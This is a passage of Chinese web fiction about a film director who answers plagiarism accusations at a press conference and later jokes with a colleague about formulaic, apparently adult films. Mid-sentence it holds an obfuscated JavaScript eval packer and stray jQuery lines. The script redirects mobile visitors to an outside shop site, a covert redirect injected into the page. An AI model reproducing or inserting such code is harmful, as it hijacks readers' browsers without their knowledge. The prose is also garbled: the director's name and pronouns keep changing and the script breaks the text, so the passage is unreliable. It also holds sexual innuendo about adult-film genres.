另一位記者隨即舉手發問:「但是伊希卡瓦導演,既然這樣,為什麼還會有人指控您抄襲電視劇的劇情呢?電視劇和小說的台詞應該不同吧?」
伊希卡瓦冷靜地點了點頭:「很好的問題。實際上,電影並未抄襲電視劇的內容。舉一個例子。在電影裡,台詞是這樣的:『你這個老強盜,現在就給我滾到一邊去!讓我來和伊希卡瓦這個強盜決一勝負!』這句話的來源其實是《三個王國的浪漫故事》小說中的一段,原文是:『你這個老強盜,現在就給我滾到一邊去!讓我來和曹真這個叛徒決一勝負!』」
她略帶自豪地笑了笑:「電視劇裡的台詞則完全不同。他們是這麼說的:『叛徒!強盜!你這七十六年白活了,一生沒有任何功勳,只知道用嘴唇和舌頭幫助曹氏家族做惡事,一條斷了脊椎骨的狗還敢在我們的軍隊面前瘋狂地吼叫?我從沒見過像你這樣毫無羞恥心的人!』」
伊希卡瓦將台詞對比了出來,現場的氣氛明顯放鬆了一些,許多記者也開始點頭表示認同。
「所以,」她繼續說道,「我們的電影根本沒有抄襲電視劇的台詞,也完全沒有侵犯到任何電視劇的權益。我們只是借鑒了原本小說中的經典橋段,這是完全合法的創作行為。」
此時,另一位年輕的女記者舉手問道:「那麼導演,您如何看待這些抄襲的指控?這些質疑是否影響到您對電影創作的信心?」
伊希卡瓦神情依舊鎮定:「質疑和批評是創作者不可避免的一部分。伊希卡瓦要做的就是冷靜應對,讓作品本身說話。伊希卡瓦的目標是創作出優質的電影,為觀眾帶來好的體驗,這一點永遠不會改變。」她頓了一下,語氣堅定地補充道:「至於那些抄襲的指控,相信時間會證明作品是原創的、有價值的。」
現場再次響起相機的快門聲,記者們也開始紛紛點頭,不再追問這個問題。
伊希卡瓦深吸一口氣,微笑著結束了這場充滿挑戰的發布會:「感謝大家今天來參加發布會,明天或後天,請大家期待新的電影上線。希望大家能夠享受這部電影,並且給予寶貴的回饋。」
隨著她的話音落下,會場內的氛圍回歸平靜。
發布會結束後,燈光漸暗,媒體的喧囂逐漸散去,帕爾克·茵-揚獨自坐在一個安靜的角落,手中把玩著一杯水,心中對這場發布會的熱烈討論感到些許不安。雖然伊希卡瓦的應對讓人印象深刻,但帕爾克心中卻不禁浮現出一個疑問:這次發布會上提到的電影,似乎也涉及了《三個王國的浪漫故事》的劇情。
他抬起頭,視線穿過熙熙攘攘的人群,最終落在了正與記者交談的伊希卡瓦身上。於是,帕爾克鼓起勇氣,向她走去。
「阿蘇卡女士!」他提高音量,試圖吸引她的注意。「我有件事情想問你。」
伊希卡瓦轉過身,面帶微笑地看著他。「揚先生,有什麼事嗎?」
「在發布會上提到的電影,我發現似乎也抄襲了《三個王國的浪漫故事》,」帕爾克毫不客氣地說道,語氣中流露出一絲不安。
伊希卡瓦大方承認了帕爾克的猜測。「揚先生沒有看錯,阿斯卡確實在這部電影中參考了《三個王國的浪漫故事》的第四十四回,《諸葛亮用智慧來刺激周瑜,孫權最終決定與曹操對抗》。這段劇情真是精彩。」
此時,一個名字的發音讓他感到困惑。「這個諸葛梁,是指……我們之前一起合作的搭檔?」帕爾克疑惑地問。
伊希卡瓦先是一愣,隨即明白帕爾克聽錯了。「揚先生是說諸葛亮吧?那是小說中蜀國的最高行政官,以智慧和謀略著稱。」
「啊,諸葛亮!我聽成了諸葛梁。」帕爾克不好意思地笑了笑。
伊希卡瓦哈哈大笑,「揚先生太幽默了!諸葛亮和諸葛梁只是在名字發音有些相似,但他們的時代相差了整整一千多年!怎麼可能是同一個人呢?」
聽到伊希卡瓦的解釋,帕爾克才恍然大悟,心中的疑惑也解開了。「原來如此,我還以為那部小說描寫的是我們的搭檔故事呢!」他鬆了口氣,然後又問道:「所有的電影都按照這個思路設計劇情?」
伊希卡瓦笑了笑,回答道:「不是每一部電影都抄古典小說的劇情,也有原創劇情。抄襲或直接使用公共領域作品這種事,大家都在做。亞洲人做音樂遊戲為了增加音樂數量,直接用古典音樂的旋律。國內早期動畫片《海員珀徘》和《坦穆與捷芮》也用大量古典旋律作為背景音樂。只要注意避開這幾十年的電影電視劇的原創劇情就可以。」
「原來如此。」帕爾克點點頭,明白了這種運作方式。
伊希卡瓦調侃道:「而且,有些電影公司為了增加產量,多部電影的劇情其實是一模一樣的,甚至對話都差不多,唯一的區別就是換了不同的演員來演。」
帕爾克聽了不禁笑出聲來,卻又有些驚訝地問:「真的嗎?竟然有這種事?」
伊希卡瓦眼中閃爍著戲謔的光芒,點點頭說:「阿斯卡之前就看過一個系列。劇情設定是這樣的:『母親去世後,父親娶了一個年齡比兒子大不了幾歲的女人。兒子對這段婚姻感到非常抵觸,但經過一系列的努力,繼母和兒子之間的關係終於改善了。』很俗套吧?而且這『一系列的努力』在電影裡的表現方式,全都是大量的動作戲。」
伊希卡瓦繼續說道,「最有趣的是,這樣的劇情只要三個演員就夠用,一個演父親、一個演繼母、一個演兒子。然後,這家公司就安排了三十個演員,先後拍了十部電影,電影序列號還是FSSF-058到067的連號,每部電影的故事情節幾乎一模一樣。唯一的要求就是女演員一定要漂亮,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128421|132887||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
男演員嘛,醜一點也無所謂,當然,能找到英俊的就更好了。」
帕爾克聽了覺得實在太滑稽了,忍不住笑了出來:「這也太扯了吧!同樣的劇情拍十遍,觀眾不會膩嗎?」
伊希卡瓦解釋道:「之前有提過嘛,這種類型的電影,文戲和劇情不是特別重要,即便重複的劇情,哪怕是重複的台詞也都無所謂,重點是演員要完全不同,尤其是漂亮的女演員,而且動作戲要足夠精彩刺激就可以了。」
帕爾克這才恍然大悟:「原來如此,所以重點不在劇情,而在於演員,尤其是女演員的外貌和動作戲啊。」他沉思了一下,接著問:「劇情抄襲公共版權的古典小說是這類電影的主要手法嗎?」
伊希卡瓦笑了笑,搖頭道:「不是,其實這種電影很少會去碰古典小說。畢竟古典小說的劇情太複雜,改編起來還要考慮那些文學愛好者的感受。這類電影的重點從來都不是劇情,反而是一些簡單、易於理解的設定。還有,阿斯卡偶爾會想嘗試一些不同的東西,或者是當阿斯卡實在想不出什麼新劇情的時候,才會考慮借用一點現成的素材。」
他停頓了一下,接著解釋:「這類電影的熱門題材非常有限,主要集中在職場辦公室、醫療護理、校園師生、家庭這幾個方向,這樣更符合觀眾的口味和期待。當然,考慮到動作戲的特殊情況,凡是校園和家庭的題材需要小孩角色,全都是由成年人來演孩子。」
帕爾克忍不住皺了皺眉,問道:「醫療護理?病人應該沒那個體力吧?」
伊希卡瓦哈哈一笑,說道:「現實中當然不行,但電影不是現實嘛,尤其是這類電影,只要符合觀眾的想像就可以了,只要演員的表現夠吸引人,觀眾根本不在乎這些細節。」
帕爾克聽完,忍不住點了點頭。他明白了,這種電影的重點完全不在於合乎現實,而是製造一種觀眾想看的「幻想場景」。他若有所思地問道:「那麼,這類電影的製作成本應該很低吧?劇情簡單,場景也不複雜。」
伊希卡瓦笑著答道:「對,說得沒錯。這類電影的製作成本非常低,因為場景和劇情基本可以重複使用。換個演員、稍微調整一下動作戲,甚至連台詞都不需要大改,就能拍出一部新的電影來。這也是為什麼這些電影公司能夠在短時間內拍出大量作品的原因。」
「聽起來,這確實是很有趣的。」帕爾克微笑著說,「我期待著我們的合作,能夠創造出讓觀眾驚豔的作品。」
「那就一起努力吧!」伊希卡瓦堅定地說。兩人相視而笑,心中都對未來的合作充滿期待。
隨著周圍人群逐漸散去,帕爾克心中對於伊希卡瓦的信念和創作理念愈發敬佩。她對於電影的獨特見解,以及她堅定的自信,都讓他感受到創作的熱情,這也激勵著他對即將到來的電影拍攝充滿了幹勁。